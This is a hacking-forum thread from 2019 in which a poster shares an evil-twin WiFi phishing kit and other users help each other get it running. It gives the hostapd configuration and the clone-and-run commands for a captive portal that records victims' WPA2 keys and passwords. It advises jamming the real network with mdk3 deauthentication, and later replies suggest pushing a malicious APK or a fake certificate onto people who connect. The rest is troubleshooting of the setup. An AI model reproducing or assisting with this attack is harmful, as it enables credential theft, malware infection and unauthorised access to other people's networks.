

Forum:[Hack Forums](#)

Thread: [New and improved WiFi WPA2 hacking hotspot.](#)

Mr. Robot - January 14, 2019, 6:44 pm

>><https://www.bitchute.com/video/UoaC4dzFCMLy/>

IMPORTANT: This will automatically open a website on Windows 10 to login with the image further below, on android and iphone it will tell them they will need to sign in to use the hotspot as a popup on their device.

This is to gain credentials while hacking WiFi. You can use mdk3 to down their network and boost yours so you have the first in the list. You will need to change your wireless network name to match theirs. To do that, when you clone the github, change the name in hostapd.conf from Public Hotspot to match theirs.

Code interface=wlan0mon

driver=nl80211

ssid=Public Hotspot

hw_mode=g

channel=1

macaddr_acl=0

ignore_broadcast_ssid=0

Start a fresh live boot of Kali linux straight from the USB or disc in virtual machine.

Make sure you have an internet connection on ethernet and then your wireless adapter not connected.

Check your current wireless adapter is wlan0 by typing in

Code iwconfig

Once everything is OK.

Code git clone <https://github.com/WiFiCloneHF/SocialMediaHotSpot.git>Code cd

SocialMediaHotSpotCode chmod +x run.shCode ./run.sh

This will download all the files you need (pre-requisites) then start a wireless hotspot called "Public Hotspot".

It will also start tailing the got.txt file which will contain the passwords people enter.

After they hit login it will notify them with the oauth.html page under /var/www/html with

"Oops, an error occurred! Our engineers were notified. Please be patient as we are working on it."

gianni - January 14, 2019, 6:52 pm

I thought it was against the rules to post anything related to phishing.

Vanilla - January 14, 2019, 6:54 pm

(Jan 14, 2019 07:52 PM)Big Memer Wrote: [\[CITE\]](#) I thought it was against the rules to post anything

related to phishing.

Same lol, what tf going on lmao

Mr. Robot - January 14, 2019, 7:05 pm

(Jan 14, 2019 07:52 PM)Big Memer Wrote: [\[CITE\]](#) I thought it was against the rules to post anything related to phishing.

This is the same as WiFiphish for WPA attacks.

You down their connection - make them connect to yours - get them to enter their WPA2 key and then you connect to theirs.

ArcherFX - January 30, 2019, 3:13 pm

How do you change the ssid from Public Hotspot to something else?

Mr. Robot - January 30, 2019, 3:19 pm

(Jan 30, 2019 04:13 PM)ArcherFX Wrote: [\[CITE\]](#) How do you change the ssid from Public Hotspot to something else?

Edit the hostapd file under /root/hostapd.conf

ArcherFX - February 1, 2019, 9:42 pm

(Jan 30, 2019 04:19 PM)Mr. Robot Wrote: [\[CITE\]](#) Edit the hostapd file under /root/hostapd.conf

Thanks

RookMade - February 7, 2019, 10:59 pm

Is there a tutorial to do this but when they connect you infect them with a payload?

Mr. Robot - February 7, 2019, 11:08 pm

(Feb 7, 2019 11:59 PM)RookMade Wrote: [\[CITE\]](#) Is there a tutorial to do this but when they connect you infect them with a payload?

You could make it so they need to download an apk for android and install it to connect "To support this hotspot" or you could do the same with a file and call it a security certificate.

Lonestar13 - February 10, 2019, 1:29 pm

I couldnt get this to work. Tried in Parrot first with no success. Then Kali live. I did get some info to produce similar to yours but get a few errors here and there. Its as if my laptop wont turn into the hotspot for broadcast. Im not sure what to do with the beginning set of commands you posted. I also tried in normal Kali as Im getting eager to finally get a project to work right. This one seemed simple enough. Now wlan0 wont work for normal wifi. I would post a picture of terminal after I run, but cant seem to get that working either. Not sure what image hosting is accepted here. No real sticky's or info searching.

Malikai - February 12, 2019, 9:14 am

Interesting read posting here so I can come back later.

RookMade - February 12, 2019, 3:30 pm

Ok thanks Robot Ill check it out

Lonestar13 - March 1, 2019, 2:58 pm

Im getting the below error. Any thoughts. Trying to sift through google but not much

Found 3 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode

PID Name
547 NetworkManager
633 wpa_supplicant
4046 dhclient

PHY Interface Driver Chipset

phy0 wlan0mon iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 35)

Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package hostapd
SIOCADDRT: File exists
mv: cannot move '/root/SocialMediaHotSpot/static' to '/var/www/html/static': Directory not empty
Considering dependency mpm_prefork for php7.2:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ok] Starting apache2 (via systemctl): apache2.service.
./run.sh: line 19: hostapd: command not found

dnsmasq: failed to bind DHCP server socket: Address already in use

Mr. Robot - March 1, 2019, 3:03 pm

(Mar 1, 2019 03:58 PM)Lonestar13 Wrote: [\[CITE\]](#) Im getting the below error. Any thoughts. Trying to sift through google but not much

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode

PID Name
547 NetworkManager
633 wpa_supplicant
4046 dhclient

PHY Interface Driver Chipset

phy0 wlan0mon iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 35)

Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package hostapd
SIOCADDRT: File exists

```
mv: cannot move '/root/SocialMediaHotSpot/static' to '/var/www/html/static': Directory not empty
Considering dependency mpm_prefork for php7.2:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ ok ] Starting apache2 (via systemctl): apache2.service.
./run.sh: line 19: hostapd: command not found
```

dnsmasq: failed to bind DHCP server socket: Address already in use
reboot ya live boot.

Lonestar13 - March 2, 2019, 11:04 am

That fixed the DHCP issue. I see now I am having an issue with hostapd. I have learned more by this not working!. Going to try and see if I can get hostpad working as standalone.

```
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package hostapd
mv: cannot stat '/root/SocialMediaHotSpot/000-default.conf': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/index.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/hotspot-detect.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/redirect': No such file or directory
mv: cannot move '/root/SocialMediaHotSpot/static' to '/var/www/html/static': Directory not empty
mv: cannot stat '/root/SocialMediaHotSpot/oauth.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/process.php': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/got.txt': No such file or directory
Considering dependency mpm_prefork for php7.2:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ ok ] Starting apache2 (via systemctl): apache2.service.
./run.sh: line 19: hostapd: command not found
```

Mr. Robot - March 2, 2019, 11:07 am

(Mar 2, 2019 12:04 PM)Lonestar13 Wrote: [CITE](#) That fixed the DHCP issue. I see now I am having an issue with hostapd. I have learned more by this not working!. Going to try and see if I can get hostpad working as standalone.

```
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package hostapd
mv: cannot stat '/root/SocialMediaHotSpot/000-default.conf': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/index.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/hotspot-detect.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/redirect': No such file or directory
mv: cannot move '/root/SocialMediaHotSpot/static' to '/var/www/html/static': Directory not empty
mv: cannot stat '/root/SocialMediaHotSpot/oauth.html': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/process.php': No such file or directory
mv: cannot stat '/root/SocialMediaHotSpot/got.txt': No such file or directory
Considering dependency mpm_prefork for php7.2:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ ok ] Starting apache2 (via systemctl): apache2.service.
./run.sh: line 19: hostapd: command not found
```

"E: Unable to locate package hostapd"

Might want to run apt-get install hostapd

Lonestar13 - March 2, 2019, 12:43 pm

Thanks for the attention on this. I had been playing around with trying hostapd. I achieved some success from a website that added some stuff to sources.list and then updating. This finally allowed hostapd to be installed. Now I get below

```
Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ ok ] Starting apache2 (via systemctl): apache2.service.
Configuration file: /root/hostapd.conf
nl80211: Could not configure driver mode
nl80211: deinit ifname=wlan0mon disabled_11b_rates=0
nl80211 driver initialization failed.
wlan0mon: interface state UNINITIALIZED->DISABLED
wlan0mon: AP-DISABLED
wlan0mon: CTRL-EVENT-TERMINATING
hostapd_free_hapd_data: Interface wlan0mon wasn't started
```

Mr. Robot - March 2, 2019, 1:49 pm

(Mar 2, 2019 01:43 PM)Lonestar13 Wrote: [\[CITE\]](#) Thanks for the attention on this. I had been playing around with trying hostapd. I achieved some success from a website that added some stuff to sources.list and then updating. This finally allowed hostapd to be installed. Now I get below

Considering conflict php5 for php7.2:
Module php7.2 already enabled
[ok] Starting apache2 (via systemctl): apache2.service.
Configuration file: /root/hostapd.conf
nl80211: Could not configure driver mode
nl80211: deinit ifname=wlan0mon disabled_11b_rates=0
nl80211 driver initialization failed.
wlan0mon: interface state UNINITIALIZED->DISABLED
wlan0mon: AP-DISABLED
wlan0mon: CTRL-EVENT-TERMINATING
hostapd_free_hapd_data: Interface wlan0mon wasn't started
You might try starting wlan0 manually using
airmon-ng start wlan0

Lonestar13 - March 4, 2019, 1:45 pm

I had tired that before with no luck. I finally got a broadcast working. I had to use my Alfa adapter instead of laptop card. Doing so I had to change the run.sh and hostapd.conf accordingly. This allowed me to finally broadcast. I also learned you pretty much have to do download every time because it seems to remove some files during use if you installed this into your regular desktop.

Unfortunately I cant get the oath authentication to pop on windows or iphone. Sad, seemed like a fun tool.

hacker1 - March 5, 2019, 1:54 am

so we dont need any wpa2 handshake to be captured,nor any dictionary?

k1llph1ll - June 14, 2019, 10:34 pm

Fake Ap basically...the reason you need to the real AP to be less power than the fake AP is the device will automatically choose the most powerful AP by default. so if your not able to pick up the fake AP on your own device chances are your fake AP is not more powerful than the real AP. But it works if you do it right.

SIM-3257834 - June 16, 2019, 7:29 am

(Jun 14, 2019 10:34 PM)k1llph1ll Wrote: [\[CITE\]](#) Fake Ap basically...the reason you need to the real AP to be less power than the fake AP is the device will automatically choose the most powerful AP by default. so if your not able to pick up the fake AP on your own device chances are your fake AP is not more powerful than the real AP. But it works if you do it right.

Deauth is an option, but if you're doing that you may as well use wifiphisher.

Mr. Robot - July 9, 2019, 6:23 am

(Jun 16, 2019 07:29 AM)Cake Wrote: [\[CITE\]](#) Deauth is an option, but if you're doing that you may as well use wifiphisher.

Agreed, it really depends on the time you have